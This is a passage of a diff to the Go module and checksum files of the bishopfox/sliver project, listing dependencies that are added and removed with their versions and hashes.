modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.20.4 h1:J8+m2trkN+KKoE7jglyHYYYiaq5xmz2HoHJIiBlRzbE=
|
||||
modernc.org/sqlite v1.20.4/go.mod h1:zKcGyrICaxNTMEHSr1HQ2GUraP0j+845GYw37+EyT6A=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
+9
-9
@@ -3,18 +3,17 @@ module github.com/bishopfox/sliver
|
||||
go 1.18
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/ebitengine/purego v0.2.0-alpha.1.0.20230221135432-0c858ac9f9ff
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.16.5
|
||||
github.com/onsi/gomega v1.20.2
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
|
||||
@@ -24,19 +23,16 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
@@ -44,6 +40,10 @@ require (
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
+20
-66
@@ -1,48 +1,30 @@
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/ebitengine/purego v0.2.0-alpha.1.0.20230221135432-0c858ac9f9ff h1:lf1Eoi7P7gXh+L7ngFxSr3szq91PWRgRiLm9cei0M0M=
|
||||
github.com/ebitengine/purego v0.2.0-alpha.1.0.20230221135432-0c858ac9f9ff/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
@@ -53,18 +35,6 @@ github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
|
||||
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
|
||||
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
|
||||
github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||
github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
|
||||
github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
@@ -74,51 +44,38 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
|
||||
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -137,7 +94,6 @@ golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqG
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
@@ -150,23 +106,21 @@ golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 h1:KwsvzlnmErwMd3BXoBSEuL8qU72QxFM/uOUAgZmavRc=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24/go.mod h1:bVQfyl2sCM/QIIGHpWbFGfHPuDvqnCNkT6MQLTCjO/U=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
|
||||
google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
